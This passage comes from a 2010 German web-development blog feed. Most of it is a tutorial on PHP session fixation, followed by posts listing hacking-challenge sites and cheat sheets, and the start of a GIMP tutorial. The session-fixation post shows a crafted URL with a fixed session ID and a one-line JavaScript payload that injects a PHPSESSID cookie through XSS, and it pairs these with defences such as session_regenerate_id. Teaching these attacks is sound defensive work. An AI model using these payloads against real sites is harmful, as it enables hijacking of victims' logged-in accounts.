<p>Solche Sitzungsdaten werden von einer Webanwendung erstellt. In PHP werden diese Daten im superglobalen Array $_SESSION &#252;bertragen.</p>
<p><strong>Session-ID (SID)</strong></p>
<p>Die Authentifizierung findet w&#228;hrend einer Session &#252;ber die Session-ID statt. Die Session-ID ist also wie ein Passwort, das f&#252;r kurze Zeit g&#252;ltig ist.</p>
<p>Kennt ein Angreifer die Session-ID, kann er die aktuelle Sitzung &#252;bernehmen, indem sein Client (Browser) die selbe Session-ID zum Kommunizieren mit dem Webserver verwendet.</p>
<p>PHP erzeugt eine Session-ID mit einer L&#228;nge von 32 Zeichen. Das Erraten ist also praktisch unm&#246;glich und Brute-Force Attacken werden wahrscheinlich auch nicht gelingen.</p>
<p>Die Session-ID wird &#252;blicherweise in Cookies oder in der URL per GET-Parameter &#252;bertragen. Die &#220;bertragung per POST-Methode ist allerdings auch m&#246;glich.</p>
<h2 class="headline">Sessionverwaltung in PHP</h2>
<p>Zur Initialisierung einer Session wird in PHP die Funktion session_start() verwendet.</p>
<pre class="prettyprint"><code>&lt;?php
  session_start();
  ...
?&gt;</code></pre>
<p>Wenn noch keine Session existiert, wird dem Client eine eindeutige Session-ID zugewiesen. Liefert der Client allerdings eine g&#252;ltige Session-ID mit, wird die aktuelle Session wieder aufgenommen!</p>
<blockquote><p>session_start() erzeugt eine Session oder nimmt die aktuelle wieder auf, die auf der Session-ID basiert, die mit einer Anfrage, z.B. durch GET, POST oder ein Cookie, &#252;bermittelt wurde. - Quelle: php.net</p></blockquote>
<p>Die Session-ID kann mit der Funktion session_id() ausgelesen werden.</p>
<pre class="prettyprint"><code>&lt;?php
  ...
  echo session_id();
?&gt;</code></pre>
<p>Mit unset() k&#246;nnen Session Variablen gel&#246;scht werden.</p>
<pre class="prettyprint"><code>&lt;?php
  ...
  unset($_SESSION[&#039;foo&#039;]);
?&gt;</code></pre>
<p>Mit session_destroy() werden alle aktuellen Sitzungsdaten gel&#246;scht.</p>
<pre class="prettyprint"><code>&lt;?php
  ...
  session_destroy();
?&gt;</code></pre>
<p>Bei php.net gibt es eine Liste mit weiteren <a href="http://de.php.net/manual/de/ref.session.php" target="_blank">Session Funktionen</a>.</p>
<h2 class="headline">Session Fixation</h2>
<p>Bei einer Session Fixation gibt ein Angreifer eine Session-ID vor und versucht diese fixierte Session-ID einem Benutzer unterzujubeln.</p>
<p>Der Vorteil von Angreifern ist, dass PHP jede beliebige &#252;bermittelte Session-ID akzeptiert.</p>
<p>In der folgenden Grafik wird veranschaulicht, wie die einfachste Form eines Session Fixation Angriffs aussieht. Hier wird die Session-ID in der URL &#252;bertragen.</p>
<p><img src="http://www.web-tuts.de/images/posts/session-fixation-diagramm.gif" width="528" height="449" alt="Session Fixation Angriff" /></p>
<p>Schauen wir uns die einzelnen Schritte etwas genauer an.</p>
<p><strong>1.</strong> Der Angreifer schickt eine pr&#228;parierte URL in Form eines Links an sein Opfer, die zu einem Loginbereich einer Online Banking Website f&#252;hrt, wo das Opfer registriert ist. In der URL befindet sich die fixierte Session-ID (1234).</p>
<p><strong>2.</strong> Das Opfer ruft den pr&#228;parierten Link auf. An dieser Stelle erkennt der Webserver bereits die Session-ID und weist sie einer Session zu.</p>
<p><strong>3.</strong> Das Opfer loggt sich mit seinen Logindaten ein.</p>
<p><strong>4.</strong> Der Angreifer ruft nun mit der selben Session-ID eine Seite des Loginbereichs auf. Der Webserver erkennt die g&#252;ltige Session-ID, die bereits einer Session zugewiesen ist. Die Webanwendung stellt fest, dass g&#252;ltige Sitzungsdaten existieren und es sich um den eingeloggten Benutzer "Max Mustermann" handelt. Der Angreifer ist nun also mit den Daten seines Opfers eingeloggt und kann mit dem Account anstellen, was er will.</p>
<h3>Proof-Of-Concept</h3>
<p>Folgendes Code-Beispiel soll das ganze praktisch demonstrieren. Hierzu sind folgende Einstellungen in der <em>php.ini</em> notwendig, damit die Session-ID in der URL &#252;bertragen wird.</p>
<pre class="prettyprint"><code>session.use_cookies = 0
session.use_only_cookies = 0
session.name = PHPSESSID</code></pre>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  if(!empty($_SESSION[&#039;userid&#039;]))
    echo &#039;Willkommen zurueck! ID: &#039; . $_SESSION[&#039;userid&#039;];
  else
  {
    $_SESSION[&#039;userid&#039;] = md5(uniqid(mt_rand(), true));
    echo &#039;&lt;p&gt;Du bist neu hier. Deine neue ID: &#039; . $_SESSION[&#039;userid&#039;] . &#039;&lt;/p&gt;&#039;;
    echo &#039;&lt;p&gt;Session-ID: &#039; . session_id() . &#039;&lt;/p&gt;&#039;;
  }
?&gt;</code></pre>
<p>Das ganze k&#246;nnen wir jetzt einfach mit zwei verschiedenen Browsern testen.</p>
<p>Browser1 = Opfer<br />
Browser2 = Angreifer</p>
<p>Zuerst wird die Session-ID vom Angreifer bestimmt.</p>
<pre class="srccode"><code>login.php?PHPSESSID=5678</code></pre>
<p>Nun rufen wir die URL in Browser1 auf.</p>
<pre class="srccode"><code>Du bist neu hier. Deine neue ID: 9eb47aed86421db352d3e2c7753c121b

Session-ID: 5678</code></pre>
<p>Rufen wir die URL erneut auf, werden wir identifiziert.</p>
<pre class="srccode"><code>Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b</code></pre>
<p>Wenn wir die URL nun mit der selben Session-ID (5678) in Browser2 aufrufen, werden wir ebenfalls identifiziert und erhalten die gleiche Ausgabe.</p>
<pre class="srccode"><code>Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b</code></pre>
<p>Bei einem Loginscript w&#228;ren wir jetzt mit Browser2 eingeloggt.</p>
<h2 class="headline">Session-ID in der URL</h2>
<p>Werden Session-IDs in der URL &#252;bertragen, gibt es noch weitere Gefahren. Zum Beispiel die sogenannte <strong>Self Exploitation</strong>. Interessante Links werden gerne mal in Foren, Blogs, Twitter, etc. weitergegeben. Und was ist der einfachste Weg? Genau, die URL aus der Adresszeile kopieren. Jeder, der den Link aufruft, &#252;bernimmt die Session.</p>
<p>Sehr kritisch wird es, wenn andere Methoden (aus)genutzt werden. Zum Beispiel k&#246;nnte ein Angreifer <a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html">HTTP Weiterleitungen</a> in PHP Anwendungen (z.B. Foren) ausnutzen. Dann m&#252;sste er noch nicht einmal jemanden dazu bringen, die pr&#228;parierte URL aufzurufen.</p>
<h2 class="headline">Session-ID in Cookies</h2>
<p>Wenn die Session-ID in einem Cookie &#252;bertragen wird, ist Session Fixation ohne weiteres nicht m&#246;glich. Die Betonung liegt hier auf "ohne weiteres", denn mit einer einfachen XSS Sicherheitsl&#252;cke auf der Zielseite, sieht die Sache schon wieder anders aus.</p>
<p>Ein Angreifer k&#246;nnte durch injizierten JavaScript Code sein Opfer dazu bringen das entsprechende Cookie zu setzen.</p>
<pre class="prettyprint"><code>&lt;script&gt;document.cookie=&#039;PHPSESSID=1234&#039;;&lt;/script&gt;</code></pre>
<p>Das <a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html">Kombinieren von Sicherheitsl&#252;cken</a> kann sehr effektiv sein kann.</p>
<h2 class="headline">Gegenma&#223;nahmen</h2>
<p>Session Fixation ist im Gegensatz zu anderen Angriffsmethoden auf Sessions wie z.B. Session Hijacking ziemlich leicht zu verhindern.</p>
<p>Man k&#246;nnte das &#220;bermitteln der Session-ID per URL deaktivieren. Das geht ganz einfach, indem man den Wert von <em>session.use_only_cookies</em> in der <em>php.ini</em> auf 1 setzt.</p>
<p>Hat man kein Zugriff auf die <em>php.ini</em>, kann man das ganze auch im Script mit ini_set() regeln. Wichtig ist, dass das ganze vor dem Aufruf von session_start() geschieht.</p>
<pre class="prettyprint"><code>&lt;?php
  ini_set(&#039;session.use_only_cookies&#039;, 1);
  session_start();
  ...
?&gt;</code></pre>
<p>Das verhindert aber immer noch nicht Session Fixation, da (wie bereits erw&#228;hnt) mithilfe von anderen Sicherheitsl&#252;cken die Session-ID in einem Cookie injiziert werden kann.</p>
<h3>Session-ID Regenerierung</h3>
<p>Ein sicherer und effizienter Schutz gegen Session Fixation ist die Session-ID Regenerierung. Bei jeder Authentifizierung ersetzen wir die Session-ID durch eine neue.</p>
<p>Dazu wird die Funktion session_regenerate_id() verwendet.</p>
<blockquote><p>Die Funktion session_regenerate_id() ersetzt die aktuelle Session-ID durch eine neue und &#252;bernimmt die aktuellen Session-Informationen. - Quelle: php.net</p></blockquote>
<p>Der Angreifer schickt eine pr&#228;parierte URL mit einer fixierten Session-ID an sein "Opfer". Das "Opfer" loggt sich ein und erh&#228;lt eine <strong>neue Session-ID</strong>. Die alte, fixierte Session-ID ist f&#252;r den Angreifer somit nutzlos.</p>
<p>Bei erfolgreichem Login ersetzen wir also die Session-ID. Zudem sollten bei einem Logout immer alle Sitzungsdaten gel&#246;scht werden.</p>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  // fixierte Session-ID vom Angreifer:

  echo &#039;&lt;p&gt;Alte Session-ID: &#039; . session_id() . &#039;&lt;/p&gt;&#039;;

  // Login

  ...

  // wenn Login erfolgreich, neue Session-ID und Session Variable:

  if(empty($_SESSION[&#039;user&#039;]))
  {
    session_regenerate_id();
    echo &#039;&lt;p&gt;Neue Session-ID: &#039; . session_id() . &#039;&lt;/p&gt;&#039;;

    // Session Variable zur Identifikation eines eingeloggten Benutzers definieren:
    $_SESSION[&#039;user&#039;] = true;
  }

  // bei jedem Request &uuml;berpr&uuml;fen, ob es sich um einen eingeloggten Benutzer handelt:
  if(!empty($_SESSION[&#039;user&#039;]))
  {
    // Benutzer ist eingeloggt, da die Session Variable existiert!
    ...
  }

  // Logout:
  session_destroy();
?&gt;</code></pre>
<p>Das war's soweit f&#252;r den ersten Teil zum Thema Session Sicherheit in PHP.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html" rel="bookmark" title="Permanent Link: Sicherheitsl&#252;cken kombinieren">Sicherheitsl&#252;cken kombinieren</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html" rel="bookmark" title="Permanent Link: CSS History Hacks &#8211; Auslesen von besuchten Webseiten">CSS History Hacks &#8211; Auslesen von besuchten Webseiten</a></li><li><a href="http://www.web-tuts.de/about/" rel="bookmark" title="Permanent Link: &#220;ber Web-Tuts.de">&#220;ber Web-Tuts.de</a></li><li><a href="http://www.web-tuts.de/downloads/bulletproof-contact-form/" rel="bookmark" title="Permanent Link: Bulletproof Contact Form">Bulletproof Contact Form</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/php-session-sicherheit-session-fixation.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/acz9xGkFCTI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/php-session-sicherheit-session-fixation.html/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/php-session-sicherheit-session-fixation.html</feedburner:origLink></item>
		<item>
		<title>Hackits / Challenges – Learning by Doing</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/If8f0nkcUR8/hackits-challenges-learning-by-doing.html</link>
		<comments>http://www.web-tuts.de/hackits-challenges-learning-by-doing.html#comments</comments>
		<pubDate>Thu, 14 Jan 2010 17:34:05 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Tipps]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Hackits]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=962</guid>
		<description><![CDATA[Wenn man sich mit dem Thema IT-Security besch&#228;ftigt, ist vor allem die praktische Erfahrung wichtig und nat&#252;rlich auch interessanter als nur Theorie. Deshalb braucht man eine Umgebung, in der man experimentieren und das erlernte Wissen testen kann.
Das kann der eigene Rechner oder Server sein. Allerdings m&#252;sste man dann f&#252;r jeden Test eine Testumgebung einrichten, anpassen [...]]]></description>
			<content:encoded><![CDATA[<p>Wenn man sich mit dem Thema IT-Security besch&#228;ftigt, ist vor allem die praktische Erfahrung wichtig und nat&#252;rlich auch interessanter als nur Theorie. Deshalb braucht man eine Umgebung, in der man experimentieren und das erlernte Wissen testen kann.</p>
<p>Das kann der eigene Rechner oder Server sein. Allerdings m&#252;sste man dann f&#252;r jeden Test eine Testumgebung einrichten, anpassen oder sogar selbst programmieren.</p>
<p>Um das erlernte Wissen praktisch und vor allem legal auf anderen Websites bzw. Servern zu testen, kann man auf sogenannte <strong>Hackits</strong> zur&#252;ckgreifen. Hackits (oder <strong>Challenges</strong>) sind praktische &#220;bungsaufgaben rund um das Thema IT-Security.</p>

<h2 class="headline">Wie funktioniert das ganze?</h2>
<p>Man versetzt sich in die Lage eines Angreifers und versucht Sicherheitsl&#252;cken auszunutzen. Aber nicht nur das - es gibt auch viele weitere Challenges zu den Themen Programmierung, Kryptographie, Steganographie, Logik, etc.</p>
<p><strong>Websites oder Software?</strong><br />
Hackits werden in der Regel auf Websites angeboten. Es gibt aber auch die ein oder andere Software, die als Testumgebung verwendet werden kann.</p>
<p>Bei den Websites gibt es den Vorteil, dass dort ein Punkte- bzw. Rankingsystem existiert, um sich mit anderen Messen zu k&#246;nnen sowie und eine dazugeh&#246;rige Community, die einen Tipps gibt, wenn man nicht weiter kommt.</p>
<h2 class="headline">Top 5 der (Hacking &amp; Security) Challenges Sites</h2>
<p><a href="http://bright-shadows.net/" target="_blank">TheBlacksheep (bright-shadows.net)</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-1.jpg" width="302" height="158" alt="Bright Shadows" /></p>
<p><a href="http://www.hackthissite.org/" target="_blank">Hack This Site! (hackthissite.org)</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-2.jpg" width="302" height="155" alt="Hack This Site!" /></p>
<p><a href="http://www.happy-security.de/index.php?modul=hacking-zone" target="_blank">Happy-Security (happy-security.de)</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-3.jpg" width="302" height="155" alt="Hack This Site!" /></p>
<p><a href="http://thisislegal.com/challenges" target="_blank">Thisislegal.com</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-4.jpg" width="302" height="161" alt="Thisislegal.com" /></p>
<p><a href="http://www.wechall.net/challenge/" target="_blank">WeChall (wechall.net)</a></p>
<p><img src="http://www.web-tuts.de/images/posts/hackits-site-5.jpg" width="302" height="161" alt="WeChall" /></p>
<p>Auf der Website wechall.net gibt es neben eigenen Challenges auch ein globales Punkte- und Rankingsystem. Zurzeit werden <a href="http://www.wechall.net/sites.php" target="_blank">35 Challenges Sites</a> unterst&#252;tzt.</p>
<h2 class="headline">WebGoat: Web Security Training</h2>
<p>Das <a href="http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project" target="_blank">WebGoat Projekt</a> von OWASP ist eine auf Java basierte Lern- und Testumgebung zum Thema Web Security. Die Aufgaben sind gut strukturiert und realistisch. Zu jeder Aufgabe gibt es detaillierte L&#246;sungen mit hilfreichen Tipps.</p>
<p><img src="http://www.web-tuts.de/images/posts/webgoat2.jpg" width="302" height="215" alt="WeChall" /></p>
<h2 class="headline">Damn Vulnerable Linux</h2>
<p>"Damn Vulnerable Linux" ist eine Linux-Distribution in Form einer Live-CD. Sie enth&#228;lt vor allem verwundbare Software - also nicht unbedingt ein System, das man bei der t&#228;glichen Arbeit verwenden sollte <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Die beiliegende Dokumentation ist als Schulungsmaterial f&#252;r Sicherheitsverantwortliche einsetzbar. Wer also etwas tiefer in die Materie der (Netzwerk-)Sicherheit unter Unix-Systemen eindringen will, sollte sich das mal anschauen.</p>
<h2 class="headline">Fazit</h2>
<p>Hackits / Challenges und spezielle Software, die eine virtuelle, realit&#228;tsnahe Umgebung erm&#246;glichen, bieten reichlich Platz zum Experimentieren und zum Testen des erlernten Wissens. Allerdings ist es nichts f&#252;r Einsteiger, die sich bisher nur wenig mit den Themen besch&#228;ftigt haben. Die meisten Aufgaben erfordern bereits gute Kenntnisse.</p>
<p>F&#252;r diejenigen, die ihr erlerntes Wissen praktisch testen oder erweitern wollen, sind Hackits bzw. Challenges allerdings sehr empfehlenswert.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/about/" rel="bookmark" title="Permanent Link: &#220;ber Web-Tuts.de">&#220;ber Web-Tuts.de</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/hackits-challenges-learning-by-doing.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/If8f0nkcUR8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/hackits-challenges-learning-by-doing.html/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/hackits-challenges-learning-by-doing.html</feedburner:origLink></item>
		<item>
		<title>25+ aktuelle Cheat Sheets für Webworker</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/nwCSFbze8fo/25-aktuelle-cheat-sheets-fuer-webworker.html</link>
		<comments>http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html#comments</comments>
		<pubDate>Thu, 07 Jan 2010 22:47:16 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Tipps]]></category>
		<category><![CDATA[Cheat Sheets]]></category>
		<category><![CDATA[E-Books]]></category>
		<category><![CDATA[PDF]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=1015</guid>
		<description><![CDATA[In Cheat Sheets oder "Spickzettel" werden die wichtigsten Informationen zu einem bestimmten Thema zusammengefasst. Besonders n&#252;tzlich und zeitsparend sind sie f&#252;r Webworker. So hat man z.B. einen schnellen &#220;berblick &#252;ber wichtige Funktionen oder &#252;ber alle m&#246;glichen Shortcuts eines Programms, um effizienter arbeiten zu k&#246;nnen.
Es gibt bereits viele Listen mit Cheat Sheets, allerdings sind einige verlinkte [...]]]></description>
			<content:encoded><![CDATA[<p>In <strong>Cheat Sheets</strong> oder "Spickzettel" werden die wichtigsten Informationen zu einem bestimmten Thema zusammengefasst. Besonders n&#252;tzlich und zeitsparend sind sie f&#252;r Webworker. So hat man z.B. einen schnellen &#220;berblick &#252;ber wichtige Funktionen oder &#252;ber alle m&#246;glichen Shortcuts eines Programms, um effizienter arbeiten zu k&#246;nnen.</p>
<p>Es gibt bereits viele Listen mit Cheat Sheets, allerdings sind einige verlinkte Cheat Sheets bereits veraltet. Deshalb sind in diesem Artikel ausschlie&#223;lich aktuelle Cheat Sheets zu Themen wie (X)HTML, CSS, JavaScript, WordPress, Twitter, SEO, etc. aufgelistet.</p>

<h2 class="headline">Cheat Sheets</h2>
<p><strong>Hinweis:</strong> Einige der folgenden Cheat Sheets sind Direktlinks zu PDF-Dateien und ben&#246;tigen je nach Internet-Geschwindigkeit einige Zeit zum Laden.</p>
<h3>ActionScript</h3>
<ul class="arrow">
<li><a href="http://actionscriptcheatsheet.com/downloads/as3cs_top_level.pdf" target="_blank">ActionScript 3.0 Top Level Cheat Sheet</a> (PDF, ~50 KB)</li>
</ul>
<h3>Adobe Dreamweaver</h3>
<ul class="arrow">
<li><a href="http://subdivision.co.uk/wp-content/uploads/2009/02/DreamweaverCS4_PC_Shortcuts.pdf" target="_blank">Adobe Dreamweaver CS4 Shortcuts</a> (PDF, ~126 KB)</li>
</ul>
<h3>Adobe Flash</h3>
<ul class="arrow">
<li><a href="http://subdivision.co.uk/wp-content/uploads/2009/03/FlashCS4_PC_Shortcuts.pdf" target="_blank">Adobe Flash CS4 Shortcuts f&#252;r Windows</a> (PDF, ~254 KB)</li>
<li><a href="http://subdivision.co.uk/wp-content/uploads/2009/03/FlashCS4_OSX_Shortcuts.pdf" target="_blank">Adobe Flash CS4 Shortcuts f&#252;r Mac OS X</a> (PDF, ~251 KB)</li>
</ul>
<h3>Adobe Photoshop</h3>
<ul class="arrow">
<li><a href="http://morris-photographics.com/photoshop/shortcuts/downloads/PSCS4_Keyboard_Shortcuts_PC.pdf" target="_blank">Adobe Photoshop CS4 Shortcuts</a> (PDF, ~45 KB)</li>
</ul>
<h3>CSS</h3>
<ul class="arrow">
<li><a href="http://meiert.com/de/publications/indices/css-properties/" target="_blank">&#220;bersicht aller CSS-Eigenschaften</a> (HTML)</li>
<li><a href="http://media.smashingmagazine.com/wp-content/uploads/images/css3-cheat-sheet/css3-cheat-sheet.pdf" target="_blank">CSS 3 Cheat Sheet</a> (PDF, ~120 KB)</li>
</ul>
<h3>(X)HTML</h3>
<ul class="arrow">
<li><a href="http://meiert.com/de/publications/indices/html-elements/" target="_blank">&#220;bersicht aller (X)HTML-Elemente</a> (HTML)</li>
<li><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/images/html5-cheat-sheet/html5-cheat-sheet.pdf" target="_blank">HTML 5 Cheat Sheet</a> (PDF, ~129 KB)</li>
<li><a href="http://woorkup.com/wp-content/uploads/2009/12/HTML5-Visual-Cheat-Sheet.pdf" target="_blank">HTML 5 Visual Cheat Sheet</a> (PDF, ~149 KB)</li>
</ul>
<h3>jQuery</h3>
<ul class="arrow">
<li><a href="http://www.javascripttoolbox.com/jquery/cheatsheet/JQueryCheatSheet-1.3.2.pdf" target="_blank">jQuery 1.3.2 Cheat Sheet</a> (PDF, ~41 KB)</li>
</ul>
<h3>Mootools</h3>
<ul class="arrow">
<li><a href="http://mediavrog.net/blog/wp-content/uploads/2008/08/mootools-12-cheat-sheet-pf.pdf" target="_blank">Mootools 1.2 Basic Cheat Sheet</a> (PDF, ~80 KB)</li>
</ul>
<h3>MySQL</h3>
<ul class="arrow">
<li><a href="http://www.mysqlpracticewiki.com/files/cheat-sheet-en.pdf" target="_blank">MySQL Cheat Sheet</a> (PDF, ~69 KB)</li>
</ul>
<h3>PHP</h3>
<ul class="arrow">
<li><a href="http://designtopx.files.wordpress.com/2009/11/0php-5-online-cheat-sheet-v1-3.pdf" target="_blank">PHP 5 Online Cheat Sheet</a> (PDF, ~56 KB)</li>
</ul>
<h3>Prototype</h3>
<ul class="arrow">
<li><a href="http://attic.scripteka.com/prototype_cheatsheet_1.6.0.2.pdf" target="_blank">Prototype 1.6.0.2 Cheat Sheet</a> (PDF, ~155 KB)</li>
</ul>
<h3>RGB / Hex Farbtabelle</h3>
<ul class="arrow">
<li><a href="http://designtopx.files.wordpress.com/2009/11/rgb-hex-cheat-sheet-v1.pdf" target="_blank">RGB / Hex Farbtabelle</a> (PDF, ~198 KB)</li>
</ul>
<h3>SEO</h3>
<ul class="arrow">
<li><a href="http://www.seomoz.org/user_files/SEO_Web_Developer_Cheat_Sheet.pdf" target="_blank">SEO Web Developer Cheat Sheet</a> (PDF, ~148 KB)</li>
<li><a href="http://commetrics.com/download/14/" target="_blank">SEO Cheat Sheet: Anatomy of a URL</a> (PDF Download, ~106 KB)</li>
</ul>
<h3>SQL Injection</h3>
<ul class="arrow">
<li><a href="http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet" target="_blank">SQL Injection Prevention Cheat Sheet</a> (HTML)</li>
</ul>
<h3>Transport Layer</h3>
<ul class="arrow">
<li><a href="http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet" target="_blank">Transport Layer Protection Cheat Sheet</a> (HTML)</li>
</ul>
<h3>Twitter</h3>
<ul class="arrow">
<li><a href="http://www.box.net/shared/4nxhu5yf93" target="_blank">Twitter Cheat Sheet</a> (PDF Download, ~125 KB)</li>
</ul>
<h3>WordPress</h3>
<ul class="arrow">
<li><a href="http://www.texto.de/downloads/CheatSheetWPUpdate" target="_blank">WordPress Update Cheat Sheet</a> (ZIP > PDF &#038; JPG, ~784 KB)</li>
<li><a href="http://www.texto.de/downloads/TemplateHierarchie" target="_blank">WordPress Template Hierarchie Cheat Sheet</a> (ZIP > PDF &#038; JPG, ~2700 KB)</li>
<li><a href="http://ekinertac.com/wp-content/uploads/2009/07/Wordpress-Cheat-Sheet.pdf">WordPress Template Tags Cheat Sheet</a> (PDF, ~390 KB)</li>
</ul>
<h3>XSS (Cross-Site Scripting)</h3>
<ul class="arrow">
<li><a href="http://www.owasp.org/index.php?title=XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet" target="_blank">XSS Prevention Cheat Sheet</a> (HTML)</li>
</ul>
<h2 class="headline">Weitere Cheat Sheets</h2>
<ul>
<li><a href="http://www.goizio.com/520-die-besten-cheat-sheets/" target="_blank">Die besten Cheat Cheets</a> (goizio.com)</li>
<li><a href="http://www.selbstaendig-im-netz.de/2008/11/27/tipps/19-nuetzliche-cheat-sheets/" target="_blank">19 n&#252;tzliche Cheat Sheets</a> (selbstaendig-im-netz.de)</li>
<li><a href="http://devcheatsheet.com/" target="_blank">Cheat Sheet and Quick Reference Directory</a> (devcheatsheet.com)</li>
<li><a href="http://www.cheat-sheets.org/" target="_blank">All Cheat Sheets in one page</a> (cheat-Sheets.org)</li>
<li><a href="http://www.guido-muehlwitz.de/2009/08/cheat-sheets-fuer-web-entwickler/" target="_blank">Cheat Sheets f&#252;r Webentwickler</a> (guido-muehlwitz.de)</li>
</ul>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/php-session-sicherheit-session-fixation.html" rel="bookmark" title="Permanent Link: PHP Session Sicherheit &#8211; Session Fixation">PHP Session Sicherheit &#8211; Session Fixation</a></li><li><a href="http://www.web-tuts.de/downloads/bulletproof-wordpress-contact-form/" rel="bookmark" title="Permanent Link: Bulletproof WP Contact Form">Bulletproof WP Contact Form</a></li><li><a href="http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html" rel="bookmark" title="Permanent Link: API Crypting: Antiviren-Programme austricksen">API Crypting: Antiviren-Programme austricksen</a></li><li><a href="http://www.web-tuts.de/downloads/bulletproof-contact-form/" rel="bookmark" title="Permanent Link: Bulletproof Contact Form">Bulletproof Contact Form</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small><img src="http://feeds.feedburner.com/~r/web-tuts/~4/nwCSFbze8fo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		<feedburner:origLink>http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html</feedburner:origLink></item>
		<item>
		<title>GIMP Tutorial #2 – 3D Produktboxen</title>
		<link>http://feedproxy.google.com/~r/web-tuts/~3/oRyrhZMJPSE/gimp-tutorial-2-3d-produktboxen.html</link>
		<comments>http://www.web-tuts.de/gimp-tutorial-2-3d-produktboxen.html#comments</comments>
		<pubDate>Tue, 05 Jan 2010 19:41:12 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[GIMP]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Design]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=956</guid>
		<description><![CDATA[
Im zweiten GIMP Tutorial wird gezeigt, wie man in wenigen Schritten professionelle 3D-Boxen erstellen kann. Diese k&#246;nnen z.B. f&#252;r Dienstleistungen oder digitale Produkte verwendet werden.
In GIMP gibt es einen Filter, mit dem man Ebenen auf Objekte abbilden kann. Dadurch wird das Erstellen von 3D-Boxen total einfach, da wir die 3D Objekte gar nicht selber erstellen [...]]]></description>
